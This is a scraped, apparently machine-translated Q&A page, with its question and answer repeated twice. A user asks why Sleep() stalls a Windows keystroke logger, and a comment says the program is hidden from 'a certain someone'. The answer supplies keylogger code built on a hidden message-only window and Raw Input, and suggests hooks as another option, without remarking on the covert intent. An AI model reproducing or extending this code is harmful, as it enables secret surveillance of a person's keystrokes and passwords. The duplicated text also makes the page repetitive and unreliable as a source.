为什么 Sleep() 函数会阻止整个循环工作?
Why does the Sleep() function prevent the entire loop from working?
目标是创建一个记录击键并将其写入文本文件的程序。目前,只需敲击一个键就会写入该键一百次,所以我试着放慢一点。
但是,使用 Sleep()
将阻止整个代码执行任何操作,除非我使用 Sleep(0)
(据我了解,这意味着“不要让优先级较低的线程 运行").
代码:
// Subconsole is Windows so the running app is not visible to a certain someone
int __stdcall WinMain(_In_ HINSTANCE hinstance, _In_opt_ HINSTANCE hprevinstance, _In_ LPSTR lpcmdline, _In_ int ncmdshow)
{
FILE* write;
char running = 1;
fopen_s(&write, "typelog.txt", "w");
while (running)
{
_Bool keytoggle;
char key;
// Go from A to Z and see if the key for that was pressed
for (int i = 0x41; i < 0x5A; i++)
{
// Is the highest order bit for GetAsyncKeyState a 1 (is the key down)
keytoggle = (GetAsyncKeyState(i) & (1 << 15)) != 0;
if (keytoggle)
{
key = i; // save the key that was pressed
break;
}
}
// If the key was pressed, write it, otherwise write a space
if (keytoggle)
{
if (write)
fprintf(write, "%c", key);
}
else
{
if (write)
fprintf(write, " ");
}
// Sleep for like, just one millisecond please
Sleep(1);
}
return 0;
}
我听说使用Sleep
,即使是1ms,由于系统定时器的缘故也可以延长到20ms。是这样吗?就算是,为什么代码根本不执行?
我搜索了一个小时左右,但一无所获。如果你能帮忙就太好了。
通过调试,问题是您的 txt 句柄在调用 Sleep(1)
时 未 关闭。您可以使用 Message-Only Windows and Raw Input 来实现您的目标。例如:
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
hInst = hInstance; // Store instance handle in our global variable
HWND hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, HWND_MESSAGE, nullptr, hInstance, nullptr);
if (!hWnd)
{
return FALSE;
}
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
RawInput(hWnd);
return TRUE;
}
和
#define BUFFER 512
HRESULT ShowRawInputInfo(LPARAM lParam)
{
UINT dwSize = 0;
HRESULT hResult;
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
LPBYTE lpb = new BYTE[dwSize];
if (lpb == NULL)
{
return 0;
}
if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)
OutputDebugString(TEXT("GetRawInputData does not return correct size !\n"));
RAWINPUT* raw = (RAWINPUT*)lpb;
WCHAR szTempOutput[BUFFER];
if (raw->header.dwType == RIM_TYPEKEYBOARD)
{
hResult = StringCchPrintf(szTempOutput, BUFFER,
TEXT(" Kbd: make=%04x Flags:%04x Reserved:%04x ExtraInformation:%08x, msg=%04x VK=%04x \n"),
raw->data.keyboard.MakeCode,
raw->data.keyboard.Flags,
raw->data.keyboard.Reserved,
raw->data.keyboard.ExtraInformation,
raw->data.keyboard.Message,
raw->data.keyboard.VKey);
if (FAILED(hResult))
{
// TODO: write error handler
}
OutputDebugString(szTempOutput);
}
else if (raw->header.dwType == RIM_TYPEMOUSE)
{
hResult = StringCchPrintf(szTempOutput, BUFFER,
TEXT("Mouse: usFlags=%04x ulButtons=%04x usButtonFlags=%04x usButtonData=%04x ulRawButtons=%04x lLastX=%04x lLastY=%04x ulExtraInformation=%04x\r\n"),
raw->data.mouse.usFlags,
raw->data.mouse.ulButtons,
raw->data.mouse.usButtonFlags,
raw->data.mouse.usButtonData,
raw->data.mouse.ulRawButtons,
raw->data.mouse.lLastX,
raw->data.mouse.lLastY,
raw->data.mouse.ulExtraInformation);
if (FAILED(hResult))
{
// TODO: write error handler
}
OutputDebugString(szTempOutput);
}
delete[] lpb;
return 0;
}
//
// FUNCTION: WndProc(HWND, UINT, WPARAM, LPARAM)
//
// PURPOSE: Processes messages for the main window.
//
// WM_COMMAND - process the application menu
// WM_PAINT - Paint the main window
// WM_DESTROY - post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
DWORD dwStyleOfStaticText = 0;
HWND hBmp2 = NULL;
WORD reason = 0;
switch (message)
{
case WM_INPUT:
{
ShowRawInputInfo(lParam);
break;
}
case WM_KEYDOWN:
WCHAR szTempOutput[512];
StringCchPrintf(szTempOutput, 512,
TEXT(" KeyValue=%04x\n"), wParam);
OutputDebugString(szTempOutput);
//PostMessage(hWnd, WM_COMMAND, KILLTHEWIN, 0);// hope it serializes message
//PostQuitMessage(0);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
编辑:或挂钩
目标是创建一个记录击键并将其写入文本文件的程序。目前,只需敲击一个键就会写入该键一百次,所以我试着放慢一点。
但是,使用 Sleep()
将阻止整个代码执行任何操作,除非我使用 Sleep(0)
(据我了解,这意味着“不要让优先级较低的线程 运行").
代码:
// Subconsole is Windows so the running app is not visible to a certain someone
int __stdcall WinMain(_In_ HINSTANCE hinstance, _In_opt_ HINSTANCE hprevinstance, _In_ LPSTR lpcmdline, _In_ int ncmdshow)
{
FILE* write;
char running = 1;
fopen_s(&write, "typelog.txt", "w");
while (running)
{
_Bool keytoggle;
char key;
// Go from A to Z and see if the key for that was pressed
for (int i = 0x41; i < 0x5A; i++)
{
// Is the highest order bit for GetAsyncKeyState a 1 (is the key down)
keytoggle = (GetAsyncKeyState(i) & (1 << 15)) != 0;
if (keytoggle)
{
key = i; // save the key that was pressed
break;
}
}
// If the key was pressed, write it, otherwise write a space
if (keytoggle)
{
if (write)
fprintf(write, "%c", key);
}
else
{
if (write)
fprintf(write, " ");
}
// Sleep for like, just one millisecond please
Sleep(1);
}
return 0;
}
我听说使用Sleep
,即使是1ms,由于系统定时器的缘故也可以延长到20ms。是这样吗?就算是,为什么代码根本不执行?
我搜索了一个小时左右,但一无所获。如果你能帮忙就太好了。
通过调试,问题是您的 txt 句柄在调用 Sleep(1)
时 未 关闭。您可以使用 Message-Only Windows and Raw Input 来实现您的目标。例如:
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
hInst = hInstance; // Store instance handle in our global variable
HWND hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, HWND_MESSAGE, nullptr, hInstance, nullptr);
if (!hWnd)
{
return FALSE;
}
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
RawInput(hWnd);
return TRUE;
}
和
#define BUFFER 512
HRESULT ShowRawInputInfo(LPARAM lParam)
{
UINT dwSize = 0;
HRESULT hResult;
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
LPBYTE lpb = new BYTE[dwSize];
if (lpb == NULL)
{
return 0;
}
if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)
OutputDebugString(TEXT("GetRawInputData does not return correct size !\n"));
RAWINPUT* raw = (RAWINPUT*)lpb;
WCHAR szTempOutput[BUFFER];
if (raw->header.dwType == RIM_TYPEKEYBOARD)
{
hResult = StringCchPrintf(szTempOutput, BUFFER,
TEXT(" Kbd: make=%04x Flags:%04x Reserved:%04x ExtraInformation:%08x, msg=%04x VK=%04x \n"),
raw->data.keyboard.MakeCode,
raw->data.keyboard.Flags,
raw->data.keyboard.Reserved,
raw->data.keyboard.ExtraInformation,
raw->data.keyboard.Message,
raw->data.keyboard.VKey);
if (FAILED(hResult))
{
// TODO: write error handler
}
OutputDebugString(szTempOutput);
}
else if (raw->header.dwType == RIM_TYPEMOUSE)
{
hResult = StringCchPrintf(szTempOutput, BUFFER,
TEXT("Mouse: usFlags=%04x ulButtons=%04x usButtonFlags=%04x usButtonData=%04x ulRawButtons=%04x lLastX=%04x lLastY=%04x ulExtraInformation=%04x\r\n"),
raw->data.mouse.usFlags,
raw->data.mouse.ulButtons,
raw->data.mouse.usButtonFlags,
raw->data.mouse.usButtonData,
raw->data.mouse.ulRawButtons,
raw->data.mouse.lLastX,
raw->data.mouse.lLastY,
raw->data.mouse.ulExtraInformation);
if (FAILED(hResult))
{
// TODO: write error handler
}
OutputDebugString(szTempOutput);
}
delete[] lpb;
return 0;
}
//
// FUNCTION: WndProc(HWND, UINT, WPARAM, LPARAM)
//
// PURPOSE: Processes messages for the main window.
//
// WM_COMMAND - process the application menu
// WM_PAINT - Paint the main window
// WM_DESTROY - post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
DWORD dwStyleOfStaticText = 0;
HWND hBmp2 = NULL;
WORD reason = 0;
switch (message)
{
case WM_INPUT:
{
ShowRawInputInfo(lParam);
break;
}
case WM_KEYDOWN:
WCHAR szTempOutput[512];
StringCchPrintf(szTempOutput, 512,
TEXT(" KeyValue=%04x\n"), wParam);
OutputDebugString(szTempOutput);
//PostMessage(hWnd, WM_COMMAND, KILLTHEWIN, 0);// hope it serializes message
//PostQuitMessage(0);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
编辑:或挂钩